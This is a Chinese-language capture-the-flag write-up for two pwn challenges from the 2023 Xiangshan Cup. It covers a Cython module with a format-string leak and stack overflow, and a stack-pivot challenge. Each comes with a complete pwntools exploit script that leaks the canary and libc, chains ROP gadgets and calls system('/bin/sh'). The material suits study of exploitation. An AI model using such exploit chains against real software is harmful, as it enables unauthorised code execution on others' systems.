2023 香山杯

链接:https://pan.baidu.com/s/1dEHXG4QZIISKDtTgL3ZqmQ
提取码:q407

pwthon

第一次遇见cpython的题,无头苍蝇一样乱撞,坐大牢

给了app.cpython-37m-x86_64-linux-gnu.so和main.py两个文件

最大的问题就是调试环境(跑不起来可太难受了),题目给的main.py需要把os.mkdir(folder_name)改为os.makedirs(folder_name)

3.37的cpython似乎(试了其他版本都没跑起来)只能用3.37才能跑了起来,python main.py就可以跑起来了

调试就直接attach到python进程上,python进程地址空间可以看到cpython.so被加载进来了

image-20231015221314843

漏洞主要出现在_pyx_pw_3app_3app_main的_pyx_f_3app_Welcome2Pwnthon(剩余两个函数的长度真的要命)

image-20231015222245793

看下保护

grxer@Ubuntu22:~/share/match/2023xsb/pwthon_34a4c98f089057330b960f4eba8ae404$ checksec ./app.cpython-37m-x86_64-linux-gnu.so
[*] '/mnt/hgfs/share/match/2023xsb/pwthon_34a4c98f089057330b960f4eba8ae404/app.cpython-37m-x86_64-linux-gnu.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'/home/xiran/anaconda3/envs/cython/lib'
FORTIFY: Enabled

白给的基地址这样就可以有pop rdi这样的gadget用,格式化字符串漏洞用来泄露canary(也可以泄露libc地址但是远程栈环境极可能不一样,选择了rop来泄露libc地址),栈溢出来rop来泄露libc后返回到_pyx_f_3app_Welcome2Pwnthon,再次溢出getshell

from pwn import *
context(os='linux',arch='amd64')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
cpython_so=ELF('./app.cpython-37m-x86_64-linux-gnu.so')
io = process(argv=['python','main.py'])
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda x: log.info(x)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bstr = lambda x : str(x).encode()
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def db(x):
if debug: gdb.attach(io,'b *'+hex(x))
def dbpie(x):
if debug: gdb.attach(io,'b *$rebase('+hex(x)+')')
def b(x=''):
if debug: gdb.attach(io,x)
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# b('b __printf_chk')
sla(b'> ',b'0')
ru(b' gift ')
cpython_so_base=int(r(len("0x7fad184ef8b0")),16)-0x38b0-(0x7f7af04ec000 -0x7f7af04e9000)
p('cpython',cpython_so_base)
#0x0000000000003f8f : pop rdi ; ret
poprdi=cpython_so_base+0x0000000000003f8f
ret=0x000000000000301a+cpython_so_base
app_Welcome2Pwnthon=0x99F0+cpython_so_base
sl(b'%p'*14)#%$p会crash
x=rl()
x=io.recvline(keepends=False)
canary=int((x.decode()).split("0x")[-1],16)
p('canry',canary)
pay=flat(
cyclic(0x108),
canary,
0,#返回时多pop了rdx
poprdi,
cpython_so.got['puts']+cpython_so_base,
cpython_so.plt['puts']+cpython_so_base,
app_Welcome2Pwnthon
)
sl(pay)
rl()
puts_ad=uu64(r(6))
p('puts',puts_ad)
libcbase=puts_ad-libc.sym['puts']
p('libc',libcbase)
system=libcbase+libc.sym['system']
bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
sl('grxer')
pay=flat(
cyclic(0x108),
canary,
0,#返回时多pop了rdx
poprdi,
bin_sh_addr,
ret,
system
)
sl(pay)
# sl(b'cat *fl*')
io.interactive()

image-20231015220838627

move

常规栈迁移,不过题目给的bss地址太靠近上面的只读段了,所以不能返回_start(),可以返回到main

第二次read(0, &sskd, 0x20uLL);此时栈已经是sskd附件了,raed可以改掉read自己的返回地址进行rop

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pwn'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
debug = 0
remotestr=""
remotestr=remotestr.split(":")
io = remote(remotestr[0],int(remotestr[1],10))
else:
debug = 1
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda x: log.info(x)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bstr = lambda x : str(x).encode()
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def db(x):
if debug: gdb.attach(io,'b *'+hex(x))
def dbpie(x):
if debug: gdb.attach(io,'b *$rebase('+hex(x)+')')
def b(x=''):
if debug: gdb.attach(io,x)
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
'''
============================================================
0x000000000040134c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040134e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401350 : pop r14 ; pop r15 ; ret
0x0000000000401352 : pop r15 ; ret
0x000000000040134b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040134f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x0000000000401353 : pop rdi ; ret
0x0000000000401351 : pop rsi ; pop r15 ; ret
0x000000000040134d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret

'''
# db(0x401211)
# db(0x040124B)
db(0x0401241)
# db(0x4012A3)
sskd=0x04050A0
pay=flat(
0x0000000000401353,
elf.got['puts'],
elf.sym['puts'],
0x0401264
)

sa(b'in!\n',pay)
sa(b'number',p32(0x12345678))
pay=cyclic(0x30)+p64(sskd-8) +p64(0x040124b)
sa(b'oLa',pay)
puts_ad=uu64(r(6))
libcbase=find_libc('puts',puts_ad)
p('libc',libcbase)
system=libcbase+libc.dump('system')
bin_sh_addr = libcbase + libc.dump("str_bin_sh")

pay=flat(
0x0000000000401353,
bin_sh_addr,
system
)
sa(b'in!\n',pay)
io.interactive()